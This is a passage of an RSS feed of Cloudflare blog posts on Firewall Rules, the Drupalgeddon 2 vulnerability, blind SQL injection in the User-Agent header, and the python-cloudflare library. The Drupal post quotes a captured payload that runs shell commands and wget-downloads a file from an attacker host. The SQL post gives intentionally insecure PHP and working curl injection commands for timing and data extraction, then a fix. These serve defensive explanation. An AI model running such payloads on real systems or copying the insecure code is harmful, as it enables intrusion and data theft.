    <p>This is an awesome addition to the Firewall, as it provides our customers a way to choose between running a Positive Security policy (allow specific requests and deny everything else) or a Negative Security policy (block specific requests and allow everything else).</p><p>Cloudflare default for Firewall Rules is an implicit <code>allow</code> all. The great thing about this method of working is being able to <code>block</code> just the bad stuff. Whilst this is a very effective and efficient way of running a firewall, it causes a number of challenges. By letting all traffic through, your <a href="https://www.cloudflare.com/soc-as-a-service/">security operations</a> have to be reactive when issues arise.</p><p>What the security industry has been pushing is a concept of "Zero Trust". Just as it sounds, <a href="https://www.cloudflare.com/learning/security/glossary/what-is-zero-trust/">Zero Trust</a> means you trust nothing, and everything that comes through has to have some kind of justification. To create a "Zero Trust" security policy, you have to reverse the way your firewall default policy works, i.e. changing the last action from allow to block - aka. a positive security policy. Before today, this was not possible; however with Firewall Rules, now you can.</p>
    <div>
      <h3>The Visual Rule Builder and Expression Editor</h3>
      <a href="#the-visual-rule-builder-and-expression-editor">
        
      </a>
    </div>
    <p>One of the biggest concerns about giving customers power, is delivering that power safely and effectively. The product design and UI engineering team worked through multiple iterations to create a powerful but approachable rule builder and editor. The team spent a number of months working through a number of iterations to create solid rule builder and a rule editor solution without cluttering or complicating the UI.</p><p>Pete Thomas, our Lead Designer on the new Firewall UI took us back to basics running paper prototyping sessions to test and discover how rules are built and managed.</p><p>Below is a photo of myself and Matthew Bullock, one of our London Solutions Engineers, going through the testing process.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/KXeXqcLx8aty5tA2k9AoA/21f5031d792c59d1c0570dd33f41b668/Optimized-WAF-Rules.png" />
            
            </figure><p>Through the design process, we wanted to focus on why customers would need Firewall Rules. The results were simple, create proactive defensive rules, to secure an application, and reactive rules, to protect applications that were being attacked.</p><p>Within the Visual Rule Builder, we have provided customers an intuitive way to create Firewall Rules, whilst not restricting access to the core functionality. The future roadmap delivers more flexible grouping through the Visual Builder. However, we do have an option for more complex requirements or nested Firewall Rules. These can be created within the Rule Editor, which is based on our Wireshark®-inspired language that allows you to take expressions created in Wireshark and create Firewall Rules. David Kitchen, the Engineering Manager responsible for developing Firewall Rules will be writing a blog in the coming weeks detailing why we chose a Wireshark®-inspired DSL for our filter expressions. For a list of supported fields, head over to our <a href="https://developers.cloudflare.com/firewall/cf-firewall-rules/fields-and-expressions/">documentation</a>.  </p> ]]></content:encoded>
            <category><![CDATA[Security]]></category>
            <category><![CDATA[Firewall]]></category>
            <category><![CDATA[WAF Rules]]></category>
            <category><![CDATA[Product News]]></category>
            <category><![CDATA[Speed & Reliability]]></category>
            <guid isPermaLink="false">47CGribu0YSSoXcWWGZYbl</guid>
            <dc:creator>Alex Cruz Farmer</dc:creator>
        </item>
        <item>
            <title><![CDATA[Keeping Drupal sites safe with Cloudflare's WAF]]></title>
            <link>https://blog.cloudflare.com/keeping-drupal-sites-safe-with-cloudflares-waf/</link>
            <pubDate>Fri, 20 Apr 2018 16:14:53 GMT</pubDate>
            <description><![CDATA[ Cloudflare’s team of security analysts monitor for upcoming threats and vulnerabilities and where possible put protection in place for upcoming threats before they compromise our customers. ]]></description>
            <content:encoded><![CDATA[ <p>Cloudflare’s team of security analysts monitor for upcoming threats and vulnerabilities and where possible put protection in place for upcoming threats before they compromise our customers. This post examines how we protected people against a new major vulnerability in the Drupal CMS, nicknamed Drupalgeddon 2.</p><p>Two weeks after adding <a href="/drupal-waf-rule-mitigate-critical-exploit/">protection with WAF rule ID D0003</a> which mitigates the critical remote code execution Drupal exploit (<a href="http://www.drupal.org/sa-core-2018-002">SA-CORE-2018-002/CVE-2018-7600</a>), we have seen significant spikes of attack attempts. Since the 13th of April the Drupal security team has been aware of automated attack attempts and it significantly increased the security risk score of the vulnerability. It makes sense to go back and analyse what happened in the last seven days in Cloudflare’s WAF environment.</p>
    <div>
      <h3>What is Drupalgeddon 2</h3>
      <a href="#what-is-drupalgeddon-2">
        
      </a>
    </div>
    <p>The vulnerability potentially allows attackers to exploit multiple attack vectors on a Drupal site, which could make a site completely compromised.</p><p>Drupal introduced renderable arrays, which are a key-value structure, with keys starting with a ‘#’ symbol, that allows you to alter data during form rendering. These arrays however, did not have enough input validation. This means that an attacker could inject a custom renderable array on one of these keys in the form structure.</p>
    <div>
      <h3>The WAF to the rescue</h3>
      <a href="#the-waf-to-the-rescue">
        
      </a>
    </div>
    <p>Cloudflare implemented a WAF rule that would identify malicious requests and block them. We block malicious payloads in GET requests, POST requests and Cookies, which matches the patch made to drupal itself.</p><p>Just during last week, after removing false positives, the rule has blocked more than 500,000 potential attacks, especially at the start of the sample date, when the vulnerability was more recent.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/4mA1NiMBuHknowR8vUwgs7/b0e17bb1f764451c1018e9c696ce24f5/Drupal.png" />
            
            </figure><p>Apart from that, we are seeing more than 250 unique IPs per day, mostly IPv4 but also some IPv6 addresses.</p><p>Our analysis shows that most of the attempts are built with a POST request, trying to exploit the ‘mail’ field, with the following being the most used ones:</p>
            <pre><code>MAIL[#POST_RENDER]
MAIL[#MARKUP]
NAME[#POST_RENDER]</code></pre>
            <p>We also found some interesting attack attempts, in which the attacker tried to inject a renderable array on the name field that would copy and download a specific file with access details into a site belonging to the attacker on a most probably compromised domain.</p>
            <pre><code>/q=user/password&amp;name[#post_render[]=system&amp;name[#type]=markup&amp;name[#markup]= chmod 0644 ./sites/default/files/.htaccess;cp/dev/null./sites/default
/files/.htaccess;mkdir./sites/default/files/temp/;wget -P ./sites/default/
files/temp/http://[REDACTED]/blog/wpcontent/uploads/2017/01/example.sites.php;echo"@!!%@"</code></pre>
            <p>The number of blocked requests does not seem to be going down and we keep blocking more than 56,000 potential attacks per day.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/484432IHZHBwDWBLST0CMY/7a09acf3cb32423ab84dc71b925c266f/Drupal2.png" />
            
            </figure> ]]></content:encoded>
            <category><![CDATA[WAF]]></category>
            <category><![CDATA[Drupal]]></category>
            <category><![CDATA[Vulnerabilities]]></category>
            <category><![CDATA[WAF Rules]]></category>
            <guid isPermaLink="false">vmdFR6adxsnnTOGbiYNMI</guid>
            <dc:creator>Maitane Zotes</dc:creator>
        </item>
        <item>
            <title><![CDATA[Cloudflare is adding Drupal WAF Rule to Mitigate Critical Drupal Exploit]]></title>
            <link>https://blog.cloudflare.com/drupal-waf-rule-mitigate-critical-exploit/</link>
            <pubDate>Thu, 29 Mar 2018 04:10:38 GMT</pubDate>
            <description><![CDATA[ Drupal has recently announced an update to fix a critical remote code execution exploit (SA-CORE-2018-002/CVE-2018-7600). This patch is to disallow forms and form fields from starting with the “#” character. ]]></description>
            <content:encoded><![CDATA[ <p>Drupal has recently announced an update to fix a critical remote code execution exploit (<a href="https://www.drupal.org/sa-core-2018-002">SA-CORE-2018-002/CVE-2018-7600</a>). In response we have just pushed out a rule to block requests matching these exploit conditions for our <a href="https://www.cloudflare.com/learning/ddos/glossary/web-application-firewall-waf/">Web Application Firewall (WAF)</a>. You can find this rule in the Cloudflare ruleset in your dashboard under the Drupal category with the rule ID of D0003.</p><p>Drupal Advisory: <a href="https://www.drupal.org/sa-core-2018-002">https://www.drupal.org/sa-core-2018-002</a></p> ]]></content:encoded>
            <category><![CDATA[WAF Rules]]></category>
            <category><![CDATA[Drupal]]></category>
            <category><![CDATA[Attacks]]></category>
            <category><![CDATA[Vulnerabilities]]></category>
            <category><![CDATA[WAF]]></category>
            <guid isPermaLink="false">6Ni9TZK3zxYzUVGgOSzJZG</guid>
            <dc:creator>Pasha Kravtsov</dc:creator>
        </item>
        <item>
            <title><![CDATA[The Sleepy User Agent]]></title>
            <link>https://blog.cloudflare.com/the-sleepy-user-agent/</link>
            <pubDate>Tue, 17 May 2016 13:07:33 GMT</pubDate>
            <description><![CDATA[ From time to time a customer writes in and asks about certain requests that have been blocked by the CloudFlare WAF. Recently, a customer couldn’t understand why it appeared that some simple GET requests for their homepage were listed as blocked in WAF analytics. ]]></description>
            <content:encoded><![CDATA[ <p>From time to time a customer writes in and asks about certain requests that have been blocked by the CloudFlare <a href="https://www.cloudflare.com/waf/">WAF</a>. Recently, a customer couldn’t understand why it appeared that some simple GET requests for their homepage were listed as blocked in WAF analytics.</p><p>A sample request looked liked this:</p>
            <pre><code>GET / HTTP/1.1
Host: www.example.com
Connection: keep-alive
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (compatible; MSIE 11.0; Windows NT 6.1; Win64; x64; Trident/5.0)'+(select*from(select(sleep(20)))a)+' 
Accept-Encoding: gzip, deflate, sdch
Accept-Language: en-US,en;q=0.8,fr;q=0.6</code></pre>
            <p>As I said, a simple request for the homepage of the web site, which at first glance doesn’t look suspicious at all. Unless your take a look at the <code>User-Agent</code> header (its value is the string that identifies the browser being used):</p>
            <pre><code>Mozilla/5.0 (compatible; MSIE 11.0; Windows NT 6.1; Win64; x64; Trident/5.0)'+(select*from(select(sleep(20)))a)+</code></pre>
            <p>The start looks reasonable (it’s apparently Microsoft Internet Explorer 11) but the agent strings ends with <code>'+(select*from(select(sleep(20)))a)+</code>. The attacker is attempting a <a href="https://en.wikipedia.org/wiki/SQL_injection">SQL injection</a> inside the <code>User-Agent</code> value.</p><p>It’s common to see SQL injection in URIs and form parameters, but here the attacker has hidden the SQL query <code>select * from (select(sleep(20)))</code> inside the <code>User-Agent</code> HTTP request header. This technique is commonly used by scanning tools; for example, <a href="http://sqlmap.org/">sqlmap</a> will try SQL injection against specific HTTP request headers with the <code>-p</code> option.</p>
    <div>
      <h3>You are getting very sleep</h3>
      <a href="#you-are-getting-very-sleep">
        
      </a>
    </div>
    <p>Many SQL injection attempts try to extract information from a website (such as the names of users, or their passwords, or other private information). This SQL statement is doing something different: it’s asking the database that’s processing the request to sleep for 20 seconds.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/1rmqocwlPw8OrygkT6pNeT/6803912a90963ddff7241702192de824/4036024362_8752bea514_z.jpg" />
            
            </figure><p><a href="https://creativecommons.org/licenses/by-sa/2.0/">CC BY-SA 2.0</a> <a href="https://www.flickr.com/photos/vancouverlaser/4036024362/in/photolist-79DFqW-6bgKJ-hgsZxu-cp4c1Q-6miL6P-m4i1Xp-dxPs8E-8mCoyF-3BFYxy-kLLfcD-c12jub-niAXry-bAubec-ou2BkV-nom5Ly-k3Asnv-e5x4Lz-pYmu5c-nBWZAv-75BDDM-oBkwMY-8ZRzKS-h66fwy-p8adfb-s36TNQ-ejtuw9-nDUYFd-8uKeGF-qhtCL4-6RsCFn-3p1HAG-2MfZ7x-e5x65R-inNGRD-nAbCjW-h66xXW-awx1PJ-8iGb58-nTv2E6-p7cUnR-m4tfVT-nm4KwK-nxqyyb-pYrWxE-9J3x8y-nrB4VY-apoiVi-iMCsos-pQXzae-dUoEYW">image</a> by <a href="https://www.flickr.com/photos/vancouverlaser/">Dr Braun</a></p><p>This is a form of <a href="https://www.owasp.org/index.php/Blind_SQL_Injection">blind SQL injection</a>. In a common SQL injection the output of the SQL query would be returned to the attacker as part of a web page. But in a blind injection the attacker doesn’t get to see the output of their query and so they need some other way of determining that their injection worked.</p><p>Two common methods are to make the web server generate an error or to make it delay so that the response to the HTTP request comes back after a pause. The use of <code>sleep</code> means that the web server will take 20 seconds to respond and the attacker can be sure that a SQL injection is possible. Once they know it’s possible they can move onto a more sophisticated attack.</p>
    <div>
      <h3>Example</h3>
      <a href="#example">
        
      </a>
    </div>
    <p>To illustrate how this might work I created a really insecure application in PHP that records visits by saving the <code>User-Agent</code> to a MySQL database. This sort of code might exist in a real web application to save analytics information such as number of visits.</p><p>In this example, I’ve ignored all good security practices because I want to illustrate a working SQL injection.</p><p><b>BAD CODE: DO NOT COPY/PASTE MY CODE!</b></p><p>Here’s the PHP code:</p>
            <pre><code>&lt;?php

$link = new mysqli('localhost', 'insecure', '1ns3cur3p4ssw0rd', 'analytics');

$query = sprintf("INSERT INTO visits (ua, dt) VALUES ('%s', '%s')",
       $_SERVER["HTTP_USER_AGENT"],
       date("Y-m-d h:i:s"));

$link-&gt;query($query);

?&gt;

&lt;html&gt;&lt;head&gt;&lt;/head&gt;&lt;body&gt;&lt;b&gt;Thanks for visiting&lt;/b&gt;&lt;/body&gt;&lt;/html&gt;</code></pre>
            <p>It connects to a local MySQL database and selects the <code>analytics</code> database and then inserts the user agent of the visitor (which comes from the <code>User-Agent</code> HTTP header and is stored in <code>$_SERVER["HTTP_USER_AGENT"]</code>) into the database (along with the current date and time) without any sanitization at all!</p><p>This is ripe for a SQL injection, but because my code doesn’t report any errors the attacker won’t know they managed an injection without something like the sleep trick.</p>
            <figure>
            <a href="https://xkcd.com/327/">
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/7MwWphAx0Xw3xAToFfDw6s/19d3e78edce9d149ce48e8fb6706e41d/static_qr_code_without_logo.jpg" />
            </a>
            </figure><p>To exploit this application it’s enough to do the following (where <code>insecure.php</code> is the script above):</p>
            <pre><code>curl -A "Mozilla/5.0', (select*from(select(sleep(20)))a)) #" http://example.com/insecure.php</code></pre>
            <p>This sets the <code>User-Agent</code> HTTP header to <code>Mozilla/5.0', (select*from(select(sleep(20)))a)) #</code>. The poor PHP code that creates the query just inserts this string into the middle of the SQL query without any sanitization so the query becomes:</p>
            <pre><code>INSERT INTO visits (ua, dt) VALUES ('Mozilla/5.0', (select*from(select(sleep(20)))a)) #', '2016-05-17 03:16:06')</code></pre>
            <p>The two values to be inserted are now <code>Mozilla/5.0</code> and the result of the subquery <code>(select*from(select(sleep(20)))a)</code> (which takes 20 seconds). The <code>#</code> means that the rest of the query (which contains the inserted date/time) is turned into a comment and ignored.</p><p>In the database an entry like this appears:</p>
            <pre><code>+---------------------+---------------+
| dt                  | ua            |
+---------------------+---------------+
| 0                   | Mozilla/5.0   |
+---------------------+---------------+</code></pre>
            <p>Notice how the date/time is <code>0</code> (the result of the <code>(select*from(select(sleep(20)))a)</code>) and the user agent is just <code>Mozilla/5.0</code>. Entries like that are likely the only indication that an attacker had succeeded with a SQL injection.</p><p>Here’s what the request looks like when it runs. I’ve used the <code>time</code> command to see how long the request takes to process.</p>
            <pre><code>$ time curl -v -A "Mozilla/5.0', (select*from(select(sleep(20)))a) #" http://example.com/insecure.php
* Connected to example.com port 80 (#0)
&gt; GET /insecure.php HTTP/1.1
&gt; Host: example.com
&gt; User-Agent: Mozilla/5.0', (select*from(select(sleep(20)))a) #
&gt; Accept: */*
&gt;
&lt; HTTP/1.1 200 OK
&lt; Date: Mon, 16 May 2016 10:45:05 GMT
&lt; Content-Type: text/html
&lt; Transfer-Encoding: chunked
&lt; Connection: keep-alive
&lt; Server: nginx

&lt;html&gt;&lt;head&gt;&lt;/head&gt;&lt;body&gt;&lt;b&gt;Thanks for visiting&lt;/b&gt;&lt;/body&gt;&lt;/html&gt;
* Connection #0 to host example.com left intact

real   0m20.614s
user   0m0.007s
sys    0m0.012s</code></pre>
            <p>It took 20 seconds. The SQL injection worked.</p>
    <div>
      <h3>Exploitation</h3>
      <a href="#exploitation">
        
      </a>
    </div>
    <p>At this point you might be thinking “that’s neat, but doesn’t seem to enable an attacker to hack the web site”.</p><p>Unfortunately, the richness of SQL means that this chink in the <code>insecure.php</code> code (a mere 3 lines of PHP!) lets an attacker go much further than just making a slow response happen. Even though the <code>INSERT INTO</code> query being attacked only writes to the database it’s possible to turn this around and extract information and gain access.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/LFivPXVG3iL4s9NNuc5zV/2f560073829c9541274b1b4ae258ee25/4813392151_410cf9a73b_z.jpg" />
            
            </figure><p><a href="https://creativecommons.org/licenses/by/2.0/">CC BY 2.0</a> <a href="https://www.flickr.com/photos/schill/4813392151/in/photolist-8kkTMR-bUTUKK-8FBu6H-pVRDno-7xXSxj-78ePNM-dEBQ1Z-r2ouJ-apHUxy-9yNrec-5A9bu9-pEvMok-5A4UmF-5GU2A9-dRweT2-9YVh9-5GU2zo-8PBLrM-8PBqxv-81AwZa-7w3oG3-7Nfb9c-got9Ti-dRezcB-6GNKrM-5A4Ub2-cdM6PJ-5A4Uwv-5GPJYg-D5coqS-5A9bEY-5GPJVX-8kKDCP-91N2sr-49XqW-3eKNbN-8ohQ4f-Cn1mG-ciNZdd-4CMtNC-DhQ2M-yoMGq-N1HP8-88YcCu-t2ruTe">image</a> by <a href="https://www.flickr.com/photos/schill/">Scott Schiller</a></p><p>As an illustration I created a table in the database called <code>users</code> containing a user called root and a user called <code>john</code>. Here’s how an attacker might discover that there is a <code>john</code> user. They can craft a query that works out the name of a user letter by letter just by looking at the time a request takes to return.</p><p>For example,</p>
            <pre><code>curl -A "Mozilla/5.0', (select sleep(20) from users where substring(name,1,1)='a')) #" http://example.com/insecure.php</code></pre>
            <p>returns immediately because there are no users with a name starting with <code>a</code>. But</p>
            <pre><code>curl -A "Mozilla/5.0', (select sleep(20) from users where substring(name,1,1)='j')) #" http://example.com/insecure.php</code></pre>
            <p>takes 20 seconds. The attacker can then try two letters, three letters, and so on. The same technique can be used to extract other data from the database.</p><p>If my web app was a little more sophisticated, say, for example, it was part of a blogging platform that allowed comments, it would be possible to use this vulnerability to dump the contents of an entire database table into a comment. The attacker could return and display the appropriate comment to read the table's contents. That way large amounts of data can be <a href="https://www.cloudflare.com/learning/security/what-is-data-exfiltration/">exfiltrated</a>.</p>
    <div>
      <h3>Securing my code</h3>
      <a href="#securing-my-code">
        
      </a>
    </div>
    <p>The better way to write the PHP code above is as follows:</p>
            <pre><code>&lt;?php

$link = new mysqli('localhost', 'analytics_user', 'aSecurePassword', 'analytics_db');

$stmt = $link-&gt;prepare("INSERT INTO visits (ua, dt) VALUES (?, ?)");
$stmt-&gt;bind_param("ss", $_SERVER["HTTP_USER_AGENT"], date("Y-m-d h:i:s"));
$stmt-&gt;execute();

?&gt;

&lt;html&gt;
&lt;head&gt;&lt;/head&gt;
&lt;body&gt;&lt;b&gt;Thanks for visiting&lt;/b&gt;&lt;/body&gt;</code></pre>
            <p>This prepares the SQL query to perform the insertion using <a href="https://secure.php.net/manual/en/mysqli.prepare.php"><code>prepare</code></a> and then binds the two parameters (the user agent and the date/time) using <a href="https://secure.php.net/manual/en/mysqli-stmt.bind-param.php"><code>bind_param</code></a> and then runs the query with <a href="https://secure.php.net/manual/en/mysqli-stmt.execute.php"><code>execute</code></a>.</p><p><code>bind_param</code> ensures that the special SQL characters like quotes are escaped correctly for insertion in the database. Trying to repeat the injection above results in the following database entry:</p>
            <pre><code>+---------------------+----------------------------------------------------+
| dt                  | ua                                                 |
+---------------------+----------------------------------------------------+
| 2016-05-17 04:46:02 | Mozilla/5.0',(select*from(select(sleep(20)))a)) #  |
+---------------------+----------------------------------------------------+</code></pre>
            <p>The attacker's SQL statement has not turned into a SQL injection and has simply been stored in the database.</p>
    <div>
      <h3>Conclusion</h3>
      <a href="#conclusion">
        
      </a>
    </div>
    <p>SQL injection is a perennial favorite of attackers and can happen anywhere input controlled by an attacker is processed by a web application. It's easy to imagine how an attacker might manipulate a web form or a URI, but even HTTP request headers are vulnerable. Literally any input the web browser sends to a web application should be considered hostile.</p><p>We saw the same attacker use many variants on this theme. Some tried to make the web server respond slowly using SQL, others using Python or Ruby code (to see if the web server could be tricked into running that code).</p><p>CloudFlare's WAF helps mitigate attacks like this with rules to <a href="https://www.cloudflare.com/learning/security/threats/how-to-prevent-sql-injection/">block injection of SQL statements</a> and code.</p> ]]></content:encoded>
            <category><![CDATA[WAF Rules]]></category>
            <category><![CDATA[WAF]]></category>
            <category><![CDATA[SQL]]></category>
            <category><![CDATA[Security]]></category>
            <guid isPermaLink="false">6TZD2wJSHn8Y73YSuDO25F</guid>
            <dc:creator>John Graham-Cumming</dc:creator>
        </item>
        <item>
            <title><![CDATA[python-cloudflare]]></title>
            <link>https://blog.cloudflare.com/python-cloudflare/</link>
            <pubDate>Mon, 09 May 2016 22:47:07 GMT</pubDate>
            <description><![CDATA[ Very early on in the company’s history we decided that everything that CloudFlare does on behalf of its customer-base should be controllable via an API. In fact, when you login to the CloudFlare control panel, you’re really just making API calls to our backend services. ]]></description>
            <content:encoded><![CDATA[ 
    <div>
      <h3>Using the CloudFlare API via Python</h3>
      <a href="#using-the-cloudflare-api-via-python">
        
      </a>
    </div>
    <p>Very early on in the company’s history we decided that everything that CloudFlare does on behalf of its customer-base should be controllable via an <a href="https://www.cloudflare.com/learning/security/api/what-is-an-api/">API</a>. In fact, when you login to the CloudFlare control panel, you’re really just making API calls to our backend services. Over time that API has matured and improved. We are now on v4 of that API.</p><p>The current CloudFlare API is documented <a href="https://api.cloudflare.com">here</a> and it’s used by both the CloudFlare control panel and directly by umpteen customers every minute of every day. The new API is designed with a clean naming structure and consistent data representation for data. It’s also extensible.</p><p>This blog entry introduces <a href="https://github.com/cloudflare/python-cloudflare">python-cloudflare</a>, a Python wrapper providing full access to the CloudFlare v4 API.</p>
    <div>
      <h3>An example</h3>
      <a href="#an-example">
        
      </a>
    </div>
    <p>Let’s get right into the thick-of-it with the simplest coding example available to show python-cloudflare in action. This example lists all your domains (zones) and also checks some basic features for each zone.</p>
            <pre><code>#!/usr/bin/env python
import CloudFlare
def main():
    cf = CloudFlare.CloudFlare()
    zones = cf.zones.get(params={'per_page':50})
    for zone in zones:
        zone_name = zone['name']
        zone_id = zone['id']
        settings_ipv6 = cf.zones.settings.ipv6.get(zone_id)
        ipv6_on = settings_ipv6['value']
        print zone_id, ipv6_on, zone_name
    exit(0)
if __name__ == '__main__':
    main()</code></pre>
            <p>The structure of the CloudFlare class matches the API documentation. The <code>CloudFlare.zones.get()</code> method returns information about the zones as per the <a href="https://api.cloudflare.com/#zone-list-zones">list zones</a> documentation. The same for <code>CloudFlare.zones.settings.ipv6.get()</code> and its <a href="https://api.cloudflare.com/#zone-settings-get-ipv6-setting">documentation</a>.</p><p>Data is passed into the methods via standard Python structures and they are returned in Python structures that match the API documentation. That means if you see an API call in the documentation, then you can translate it into the Python code in a one-to-one manner.</p><p>For example, take a look at the <a href="https://api.cloudflare.com/#waf-rules-list-rules">WAF list rules</a> API call.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/58QXJkTf6PTJW4n69AsL1R/00031b7cac29a93d4da4d3816fd1171d/1-list_rules.png" />
            
            </figure><p>This codes into <code>CloudFlare.zones.dns_records.post()</code> method with the <code>zone_id</code> as the first argument, the <code>package_id</code> as the second argument and the optional parameters passed last (or if there aren’t any; then just drop the third argument for the call). Because this is a <code>GET</code> call there’s a <code>.get()</code> as part of the method name.</p>
            <pre><code>    r = cf.zones.firewall.waf.packages.rules.get(zone_id, package_id, params=params)</code></pre>
            <p>Here’s the much simpler <a href="https://api.cloudflare.com/#dns-records-for-a-zone-create-dns-record">Create DNS record</a> API call.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/giA1qSsZ55yOwwczVcXBk/5f7b3b2a9e56856ccd75af6e054791f2/2-create_dns_record.png" />
            
            </figure><p>This would be coded into the Python method <code>CloudFlare.zones.dns_records.post()</code> with the <code>zone_id</code> as the first argument and the required parameters passed as data. Because this is a <code>POST</code> call there’s a <code>.post()</code> as part of the method name.</p>
            <pre><code>    r = cf.zones.dns_records.post(zone_id, data=dns_record)</code></pre>
            <p>Here’s an example of that Create DNS record call in action. In this code, we add two records to an existing zone. We also show how the error is handled (in classic Python style).</p>
            <pre><code>    zone_name = 'example.com'
    try:
        r = cf.zones.get(params={'name': zone_name})
    except CloudFlare.CloudFlareAPIError as e:
        exit('/zones.get %s - %d %s' % (zone_name, e, e))
    except Exception as e:
        exit('/zones.get %s - %s' % (zone_name, e))
   zone_id = r['id']
   # DNS records to create
    dns_records = [
        {'name':'foo', 'type':'A',    'content':'192.168.100.100'}
        {'name':'foo', 'type':'AAAA', 'content':'2001:d8b::100:100'},
    ]
    for dns_record in dns_records:
        try:
            r = cf.zones.dns_records.post(zone_id, data=dns_record)
        except CloudFlare.CloudFlareAPIError as e:
            exit('/zones.dns_records.post %s - %d %s' % (record['name'], e, e))</code></pre>
            <p>There’s a whole folder of example code available on the GitHub repository.</p>
    <div>
      <h2>All on GitHub for anyone to use</h2>
      <a href="#all-on-github-for-anyone-to-use">
        
      </a>
    </div>
    <p>As we stated above (and as CloudFlare has done many times before) we have placed this code up on <a href="https://github.com/cloudflare/python-cloudflare">GitHub</a> for anyone to download and use. We welcome contributions and will review any pull requests. To install it, just clone it and follow the README instructions. For those that just want to get going right now; here’s the tl;dr install:</p>
            <pre><code>$ git clone https://github.com/cloudflare/python-cloudflare
$ cd python-cloudflare
$ ./setup.py build
$ sudo ./setup.py install</code></pre>
            
    <div>
      <h2>But wait; there’s more!</h2>
      <a href="#but-wait-theres-more">
        
      </a>
    </div>
    <p>Not only do you get the python API calls, you also get a fully functioning CLI (command line interface) that allows quick creation of scripts that interface with CloudFlare.</p><p>From the CLI command you can call any of the CloudFlare API calls. The command responds with the returned JSON data. If you want to filter the results you possibly also want to install the highly-versatile <a href="https://stedolan.github.io/jq/">jq</a> command. Here’s a command to check the nameservers for a specific domain hosted on CloudFlare and then process it via jq.</p>
            <pre><code>$ cli4 name=example.com /zones | jq -c '.[]|{"name_servers":.name_servers}'
{
  "name_servers":[
    "alice.ns.cloudflare.com",
    "bob.ns.cloudflare.com"
  ]
}
$</code></pre>
            <p>The CLI command will convert on-the-fly zone names into zone identifiers. For example; if you want to check the <a href="/dnssec-an-introduction/">DNSSEC</a> status on a zone your operate on CloudFlare; then use this command.</p>
            <pre><code>$ cli4 /zones/:example.com/dnssec | jq '{"status":.status,"ds":.ds}'
{
  "status": "active",
  "ds": "example.com. 3600 IN DS 2371 13 2 00000000000000000000000000000 ..."
}
$</code></pre>
            <p>You can issue <code>GET</code> <code>PUT</code> <code>POST</code> <code>PATCH</code> or <code>DELETE</code> calls into the API. You can pass data into a CloudFlare API call with the CLI command. All documented via the <code>README.md</code> and wiki examples in GitHub.</p><p>Here’s a useful command for customers that need to flush their cache files.</p>
            <pre><code>$ cli4 --delete purge_everything=true /zones/:example.com/purge_cache
{
  "id":"d8afaec3dd2b7f8c1b470e594a21a01d"
}
$</code></pre>
            <p>See how the commands arguments match the <a href="https://api.cloudflare.com/#zone-purge-all-files">purge_cache</a> API documentation.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/3E5z7ixk8yXPm3sg4hYmGT/549732f7675c9a925056e141571ee9e6/3-purge.png" />
            
            </figure><p>Finally, here’s an example of turning on DNSSEC via the API.</p>
            <pre><code>$ cli4 --patch status=active /zones/:example.com/dnssec | jq -c '{"status":.status}'
{"status":"pending"}
$</code></pre>
            <p>There are plenty more examples available within the GitHub repo.</p>
    <div>
      <h3>CloudFlare API via other languages also available</h3>
      <a href="#cloudflare-api-via-other-languages-also-available">
        
      </a>
    </div>
    <p>Python isn’t the only language you can use to interact with CloudFlare’s API. If you’re a <code>Go</code>, or <code>Node.js</code> user, we also have client libraries you can use to interact with CloudFlare on our <a href="https://github.com/cloudflare/python-cloudflare">GitHub</a>. Find them here <a href="https://github.com/cloudflare/cloudflare-go">Go client</a> and here <a href="https://github.com/cloudflare/node-cloudflare">Node.js client</a>. Want to write something in a different language? Feel free to do that. The <a href="https://api.cloudflare.com/">API</a> spec is online and ready for you to code up.</p><p>If you like what you read here today and are interested in joining one of CloudFlare’s software teams, then checkout our <a href="http://www.cloudflare.com/join-our-team">Join Our Team</a> page.</p> ]]></content:encoded>
            <category><![CDATA[API]]></category>
            <category><![CDATA[WAF Rules]]></category>
            <category><![CDATA[WAF]]></category>
            <category><![CDATA[DNSSEC]]></category>
            <category><![CDATA[DNS]]></category>
            <category><![CDATA[Python]]></category>
            <category><![CDATA[Programming]]></category>
            <guid isPermaLink="false">6BqiD9VfbJKeYp2SbfqE5w</guid>
            <dc:creator>Martin J Levy</dc:creator>
        </item>
    </channel>
</rss>